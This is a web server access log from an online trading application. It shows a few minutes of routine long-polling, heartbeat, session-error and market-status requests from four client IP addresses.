[09/Jan/2026:11:45:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930570974 HTTP/1.1" -
[09/Jan/2026:11:45:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930573135 HTTP/1.1" -
[09/Jan/2026:11:45:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930573786 HTTP/1.1" -
[09/Jan/2026:11:45:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930575219 HTTP/1.1" -
[09/Jan/2026:11:45:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930575839 HTTP/1.1" -
[09/Jan/2026:11:45:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930576001 HTTP/1.1" -
[09/Jan/2026:11:45:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930578237 HTTP/1.1" -
[09/Jan/2026:11:45:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930578846 HTTP/1.1" -
[09/Jan/2026:11:45:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930580263 HTTP/1.1" -
[09/Jan/2026:11:45:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930580896 HTTP/1.1" -
[09/Jan/2026:11:45:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930581065 HTTP/1.1" -
[09/Jan/2026:11:45:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930583394 HTTP/1.1" -
[09/Jan/2026:11:45:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930583902 HTTP/1.1" -
[09/Jan/2026:11:45:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930585311 HTTP/1.1" -
[09/Jan/2026:11:45:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930585967 HTTP/1.1" -
[09/Jan/2026:11:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930586135 HTTP/1.1" -
[09/Jan/2026:11:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930588533 HTTP/1.1" -
[09/Jan/2026:11:45:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930588972 HTTP/1.1" -
[09/Jan/2026:11:45:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930590359 HTTP/1.1" -
[09/Jan/2026:11:45:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930591027 HTTP/1.1" -
[09/Jan/2026:11:45:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930591235 HTTP/1.1" -
[09/Jan/2026:11:45:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930593670 HTTP/1.1" -
[09/Jan/2026:11:45:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930594039 HTTP/1.1" -
[09/Jan/2026:11:45:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930595383 HTTP/1.1" -
[09/Jan/2026:11:45:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930596096 HTTP/1.1" -
[09/Jan/2026:11:45:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930596267 HTTP/1.1" -
[09/Jan/2026:11:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930598755 HTTP/1.1" -
[09/Jan/2026:11:45:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930599099 HTTP/1.1" -
[09/Jan/2026:11:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930600411 HTTP/1.1" -
[09/Jan/2026:11:45:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930601156 HTTP/1.1" -
[09/Jan/2026:11:45:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930601304 HTTP/1.1" -
[09/Jan/2026:11:45:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930604048 HTTP/1.1" -
[09/Jan/2026:11:45:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930604278 HTTP/1.1" -
[09/Jan/2026:11:45:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930605453 HTTP/1.1" -
[09/Jan/2026:11:45:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930606241 HTTP/1.1" -
[09/Jan/2026:11:45:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930606401 HTTP/1.1" -
[09/Jan/2026:11:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930609095 HTTP/1.1" -
[09/Jan/2026:11:45:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930609373 HTTP/1.1" -
[09/Jan/2026:11:45:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930610505 HTTP/1.1" -
[09/Jan/2026:11:45:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930611303 HTTP/1.1" -
[09/Jan/2026:11:45:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930611484 HTTP/1.1" -
[09/Jan/2026:11:45:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930614250 HTTP/1.1" -
[09/Jan/2026:11:45:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930614436 HTTP/1.1" -
[09/Jan/2026:11:45:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930615552 HTTP/1.1" -
[09/Jan/2026:11:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930616366 HTTP/1.1" -
[09/Jan/2026:11:45:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930616554 HTTP/1.1" -
[09/Jan/2026:11:45:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930619388 HTTP/1.1" -
[09/Jan/2026:11:45:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930619499 HTTP/1.1" -
[09/Jan/2026:11:45:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930620610 HTTP/1.1" -
[09/Jan/2026:11:45:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930621437 HTTP/1.1" -
[09/Jan/2026:11:45:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:45:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930621632 HTTP/1.1" -
[09/Jan/2026:11:45:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930624594 HTTP/1.1" -
[09/Jan/2026:11:45:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930624560 HTTP/1.1" -
[09/Jan/2026:11:45:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930625644 HTTP/1.1" -
[09/Jan/2026:11:45:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930626497 HTTP/1.1" -
[09/Jan/2026:11:45:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930626659 HTTP/1.1" -
[09/Jan/2026:11:46:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930629674 HTTP/1.1" -
[09/Jan/2026:11:46:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930629627 HTTP/1.1" -
